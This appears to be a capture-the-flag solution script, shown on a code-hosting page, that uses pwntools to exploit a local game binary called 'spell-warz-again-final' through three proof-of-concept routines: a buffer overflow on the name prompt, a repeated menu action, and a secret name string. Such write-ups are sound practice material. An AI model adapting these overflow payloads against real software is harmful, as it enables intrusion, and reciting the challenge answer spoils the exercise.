You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

68 lines
1.5 KiB

5 years ago
5 years ago
5 years ago
5 years ago
5 years ago
5 years ago
5 years ago
5 years ago
5 years ago
5 years ago
5 years ago
5 years ago
5 years ago
5 years ago
5 years ago
5 years ago
5 years ago
5 years ago
5 years ago
5 years ago
5 years ago
  1. from pwn import process
  2. FILENAME = "./spell-warz-again-final"
  3. def poc0():
  4. p = process(FILENAME)
  5. print p.recvuntil(">")
  6. p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01"))
  7. print p.recvuntil(">")
  8. p.sendline("y")
  9. print p.recvuntil(">")
  10. p.sendline("2")
  11. print p.recvuntil(">")
  12. p.sendline("4")
  13. print p.recvuntil(">")
  14. p.sendline("y")
  15. for _ in xrange(10):
  16. print p.recvuntil(">")
  17. p.sendline("100")
  18. p.interactive()
  19. def poc1():
  20. p = process(FILENAME)
  21. print p.recvuntil(">")
  22. p.sendline("Leo")
  23. print p.recvuntil(">")
  24. p.sendline("y")
  25. for _ in range(100):
  26. print p.recvuntil(">")
  27. p.sendline("3")
  28. print p.recvuntil(">")
  29. p.sendline("0")
  30. print p.recvuntil(">")
  31. p.sendline("y")
  32. print p.recvuntil(">")
  33. p.sendline("1")
  34. print p.recvuntil(">")
  35. p.sendline("4")
  36. print p.recvuntil(">")
  37. p.sendline("y")
  38. for _ in range(10):
  39. print p.recvuntil(">")
  40. p.sendline("99")
  41. p.interactive()
  42. def poc2():
  43. p = process(FILENAME)
  44. print p.recvuntil(">")
  45. p.sendline("__th3_w0rLd_D3str0Y3r__")
  46. print p.recvuntil(">")
  47. p.sendline("y")
  48. print p.recvuntil(">")
  49. p.sendline("2")
  50. print p.recvuntil(">")
  51. p.sendline("4")
  52. print p.recvuntil(">")
  53. p.sendline("y")
  54. for _ in xrange(10):
  55. print p.recvuntil(">")
  56. p.sendline("100")
  57. p.interactive()
  58. if __name__ == "__main__":
  59. poc1()